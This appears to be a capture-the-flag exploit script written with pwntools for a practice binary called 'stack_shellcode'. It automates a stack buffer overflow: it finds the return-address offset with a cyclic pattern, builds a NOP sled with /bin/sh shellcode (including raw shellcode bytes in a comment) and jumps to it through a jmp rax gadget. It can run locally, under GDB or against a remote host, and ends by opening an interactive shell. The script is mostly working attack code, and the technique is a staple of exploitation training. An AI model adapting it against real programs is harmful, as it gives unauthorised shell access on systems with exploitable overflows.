from pwn import *


# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Find offset to EIP/RIP for buffer overflows
def find_ip(payload):
    # Launch process and send payload
    p = process(exe)
    p.recvline()
    p.sendline(payload)
    # Wait for the process to crash
    p.wait()
    # Print out the address of EIP/RIP at the time of crashing
    # ip_offset = cyclic_find(p.corefile.pc)  # x86
    ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    info('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
break *0x401148
continue
'''.format(**locals())

# Binary filename
exe = './stack_shellcode'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Pass in pattern_size, get back EIP/RIP offset
offset = find_ip(cyclic(256))

# jmp_rax gadget found with ropper
# Break at function ret to see RAX points to start of our buffer (RSP)
jmp_rax = 0x4010ac

io = start()  # Start program

io.recvline()

# Build shellcode (cat flag.txt or spawn shell)
shellcode = asm(shellcraft.sh())  # Shellcraft
# shellcode = '\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'  # Shellstorm
# Pad shellcode with NOPs until we get to return address
padding = asm('nop') * (offset - len(shellcode) - 16)

# Build the payload
payload = flat([
    16 * asm('nop'),  # NOP sled
    shellcode,  # Shellcode (sh/cat etc)
    padding,  # Padding to ensure we overwrite IP
    jmp_rax  # Overwrite IP jmp_rax (start of payload)
])

# Write payload to file for easy reuse
write('payload', payload)

# Exploit
io.sendline(payload)

# Flag.. Shell.. Something?!
io.interactive()
